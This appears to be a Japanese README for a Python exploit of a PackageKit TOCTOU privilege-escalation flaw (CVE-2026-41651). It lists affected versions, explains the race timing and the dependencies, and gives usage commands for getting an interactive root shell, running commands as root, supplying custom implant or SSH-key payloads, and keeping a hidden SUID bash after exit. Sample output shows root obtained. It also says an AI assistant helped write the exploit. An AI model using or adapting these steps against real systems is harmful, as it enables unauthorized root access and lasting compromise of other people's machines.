
PackageKit TOCTOU ローカル特権昇格エクスプロイトの Python PoC。 ローカルの非特権ユーザーは、認証なしで任意のパッケージを root としてインストールできます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-41651 |
| コンポーネント | PackageKit デーモン (packagekitd) |
| 影響を受けるバージョン | 1.0.2 – 1.3.4 |
| 修正バージョン | 1.3.5 |
| 影響 | ローカル特権昇格 → root |
このツールは教育および許可されたセキュリティ研究目的のみで提供されます。
脆弱なOS: PackageKit >= 1.0.2 <= 1.3.4 を実行している任意の Linux ディストリビューション。
PoC の制限: 内蔵パッケージビルダーは
.debファイルのみを生成するため、スクリプトをそのまま実行するには Debian/Ubuntu ホストが必要です。RPM ベースのシステムでは、--payload-scriptでカスタム postinst ペイロードを指定し、dpkg/dpkg-devが利用可能であることを確認するか、ビルダーを適応させてください。
Python: 3.6+
システムパッケージ (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
依存関係に関する注意:
python3-dbusとpython3-giは Python 標準ライブラリではありませんが、グラフィカルデスクトップ環境 (GNOME, KDE, XFCE など) を実行しているほとんどのマシンには既に存在します。これらの環境はそれらに直接依存しているためです。標準の Ubuntu Desktop インストールでは、手動インストールなしで両方のライブラリが利用可能です。GUI のない最小限のサーバーでは存在しない可能性があるため、その場合上記のapt installには sudo が必要となり、LPE の文脈と矛盾します。実際には、PackageKit をデスクトップセッションで実行しているマシンでは、これらの依存関係は既に満たされています。
gir1.2-glib-2.0は GLib 用の GObject Introspection タイプライブラリファイルを提供します。python3-giは Python バインディングエンジンですが、GLib と会話するためにこれらのタイプライブラリファイルが必要です。このパッケージがないと、python3-giがインストールされていてもfrom gi.repository import GLibが失敗します。どちらも GNOME ベースのデスクトップでは自動的に導入されます。stdlib のみの試みに関する注意: この PoC の以前のバージョンでは、D-Bus 呼び出しを
gdbus/dbus-sendサブプロセスに置き換え、その後 Unix ソケット上で D-Bus ワイヤプロトコルを直接話すことで、これらの依存関係を完全に排除しようと試みました。どちらのアプローチも TOCTOU レースを確実に引き起こすことに失敗しました。外部プロセスを生成すると、2 回のInstallFiles呼び出しの間に十分なレイテンシが生じ、PackageKit が Step 2 が到着する前に Step 1 を処理してしまい、レースが崩れます。dbus-pythonバインディングは、両方の呼び出しを同じ既に開いているソケット上でフォークオーバーヘッドなしに fire-and-forget で送信するため、タイミングがうまく機能します。stdlib のみのバージョンはこの理由で元に戻されました。
PackageKit バージョンの確認 (PoC なし):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
例:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
期待される出力:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
元の C PoC は Vozec によるものです。 これは移植性のための Python による書き直しです。エクスプロイト技術のすべての功績は原作者に帰属します。
Python の書き直しは Claude (Anthropic) の支援を受けて開発されました。
| フラグ | 説明 |
|---|
--check | PackageKit のバージョンを照会し、脆弱性を報告して終了 |
--exec CMD | インタラクティブシェルの代わりに root として単一のコマンドを実行 |
--payload-script FILE | 内蔵の SUID bash ドロッパーの代わりにカスタム postinst スクリプトを使用 |
--suid-path PATH | SUID bash を配置するパス(デフォルト: /tmp/.suid_bash) |
--no-cleanup | シェル終了後も SUID bash を保持 |
--timeout N | SUID bash をポーリングする秒数(デフォルト: 120) |
--quiet | 進捗出力を抑制(スクリプト用) |